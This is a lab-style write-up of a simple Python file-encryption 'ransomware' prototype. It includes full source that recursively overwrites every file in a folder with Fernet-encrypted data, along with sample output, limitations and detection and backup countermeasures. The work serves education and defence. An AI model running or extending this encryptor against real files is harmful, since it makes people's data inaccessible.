File Encryption Prototype (Ransomware) in Python
File Encryption Prototype (Ransomware) in Python
This project describes the creation and analysis of a simple file encryption prototype in Python for educational purposes (understanding risks, detection, and countermeasures). The term “ransomware” generally refers to software that encrypts a victim’s data and demands a ransom to decrypt it. Here, the code used is based on the cryptography.Fernet library. This report presents the test environment, source code used, experiment flow, functionality analysis, limitations, and security and detection recommendations.
Project Overview
The goal of this lab is to observe application-level encryption mechanisms on files and measure potential consequences for an organization’s security. The experiment also highlights the importance of: regular backups, strict access controls, behavioral detection (EDR/IDS), and restoration tests. All such experiments must be documented, authorized, and confined to controlled environments.
Key aspects include:
- General principle of ransomware: File exploration, symmetric or hybrid encryption, file name modification/ransom note, persistence and propagation mechanisms.
- Fernet (cryptography): Provides high-level symmetric encryption (AES 128 in CBC mode + HMAC) and handles key serialization. It’s suitable for prototypes but is not inherently malicious; it’s a cryptographic tool used here in a learning context.
- Security consequences: Loss of data access (operational impact), exfiltration preceding encryption (double extortion), financial and reputational costs during restoration.
Functionality
Theoretical Background
- General Principle: A classic ransomware typically performs: targeted file exploration (extensions, folders), symmetric or hybrid file encryption with key storage, file name modification and/or ransom message creation, persistence and propagation mechanisms.
- Fernet (cryptography): The Fernet class from the cryptography library provides high-level symmetric encryption (AES 128 in CBC mode + HMAC) and manages key serialization. It’s adapted for prototypes but not, by itself, a malicious solution; it’s a cryptographic tool used here in a learning framework.
- Security Consequences: Unauthorized data encryption can lead to: loss of data access (operational impact), exfiltration preceding encryption (double extortion), financial and image costs during restoration.
File Encryption/Decryption
- Generates or loads a key from key.key.
- Recursively walks through a specified folder (e.g., “Documents”) and encrypts/decrypts each file using Fernet.
- Overwrites files in place; no extension changes or ransom notes in this prototype.
Setup Instructions
Prerequisites
- Machines and Context: Performed in a local and isolated environment (Kali Linux for analysis and tests on a local directory simulating the victim).
- Python: Python 3.
- Library: cryptography installed in the virtual environment.
Preparing the Python Environment
- Create virtual environment and install cryptography:
1 2 3
python -m venv ransomware-env source ransomware-env/bin/activate # On Windows: ransomware-env\Scripts\activate pip install cryptography
Test Files
The “Documents” directory used for testing contained the following structure:
- cat.jpg
- kali-linux.torrent
- LLM.pdf
- modelisation.xml
- Presentation.pptx
- vs_SSMS.exe
Implementation Details
Source Code
Main script: ransomware.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from cryptography.fernet import Fernet
import os
def generate_key():
key = Fernet.generate_key()
with open("key.key", "wb") as key_file:
key_file.write(key)
def load_key():
return open("key.key", "rb").read()
def encrypt_file(file_path, key):
fernet = Fernet(key)
with open(file_path, "rb") as file:
original_data = file.read()
encrypted_data = fernet.encrypt(original_data)
with open(file_path, "wb") as file:
file.write(encrypted_data)
def decrypt_file(file_path, key):
fernet = Fernet(key)
with open(file_path, "rb") as file:
encrypted_data = file.read()
decrypted_data = fernet.decrypt(encrypted_data)
with open(file_path, "wb") as file:
file.write(decrypted_data)
def main():
if not os.path.exists("key.key"):
print("Generating new key.")
generate_key()
else:
print("Key already exists.")
key = load_key()
print("Key loaded.")
folder = "Documents"
action = "encrypt" # encrypt or decrypt
if not os.path.isdir(folder):
print(f"Error: '{folder}' folder not found")
return
count = 0
for root, dirs, files in os.walk(folder):
for file in files:
file_path = os.path.join(root, file)
if action == "encrypt":
encrypt_file(file_path, key)
print(f"Encrypted: {file_path}")
elif action == "decrypt":
decrypt_file(file_path, key)
print(f"Decrypted: {file_path}")
count += 1
print(f"\nProcessed {count} files.")
if __name__ == "__main__":
main()
Notes on the Code:
- The key is generated by Fernet.generate_key() and stored locally in key.key.
- The action parameter determines whether to encrypt or decrypt the “Documents” folder.
- The script recursively walks the folder and applies the operation to each file.
Experiment Flow
- Create a Python virtual environment and install cryptography.
- Place a “Documents” directory containing test files.
- Run the script in encrypt mode to observe file encryption.
- Test decrypt mode to verify correct file restoration with the same key.
Examples of Output
Generating new key.
Key loaded.
Encrypted: Documents/cat.jpg
Encrypted: Documents/LLM.pdf
Encrypted: Documents/Presentation.pptx
…
Processed 6 files.
Observations
- Encryption transforms the binary content of each file; the extension is not modified.
- Decryption works if and only if the same key is available (key.key file).
- Large outputs are not an issue here as each file is processed individually.
Limitations Encountered
- Key stored in plain text in key.key: Risk if an attacker accesses this key.
- No extension filtering: The script encrypts all found files, including potentially system files (dangerous in deployment).
- No exclusion mechanism or backup before encryption.
Analysis and Implications
Security Impact
- This prototype shows how symmetric encryption can make data inaccessible without the key.
- In a real context, combining encryption + exfiltration greatly increases the risk for organizations.
Legal and Ethical Aspects
- The development, distribution, or unauthorized use of ransomware is illegal and punishable.
- Experiments must be conducted only in authorized laboratories and on test data.
Improvement Suggestions
The following suggestions aim to make the code safer for legitimate uses (encrypted backup management tools, tests) or to facilitate analysis and resilience.
- Implement robust error management (try/except) and a logging file (logs) to trace operations.
- Add a backup system before encryption to allow restoration in case of error.
- Prevent execution on system directories (whitelist/limited number of extensions).
- Protect the key (e.g., secure storage, HSM, or vault) if encryption is used for legitimate purposes.
Screenshots
Troubleshooting
- Key File Issues: Ensure key.key is present for decryption; regenerate if lost (but data would be irrecoverable).
- Permission Errors: Run with sufficient privileges if targeting protected folders; avoid in production.
- Large Files: Fernet handles them, but memory constraints may apply; process in chunks for very large files.
- Library Installation: Verify cryptography is installed; use pip in virtual env.
Countermeasures and Detection
Immediate Measures
- Restrict access permissions to critical directories and apply the principle of least privilege.
- Deploy regular backups and test restoration (3-2-1 strategy).
- Use EDR/antivirus solutions capable of detecting massive encryption activity (heuristic rules).
Advanced Detection Techniques
- Monitor processes that massively open and write to many files in a short time.
- Detect anomalies in outbound traffic (exfiltration attempts).
- Integrate behavioral signatures (e.g., concurrent access to user files).
Operational Recommendations
- Implement offline backup policies and regular restoration tests.
- Train end-users in vigilance (social engineering traps, suspicious emails).
- Segment the network and apply outbound filtering to limit the impact of a compromise.
License
The project is released under the MIT License.
Contributing
Contributions are encouraged! Suggestions for improvements, such as secure key management or additional features, can be submitted via email.
Contact
For questions or feedback, reach out via email at ammarlouah9@gmail.com.
Last updated: December 21, 2025





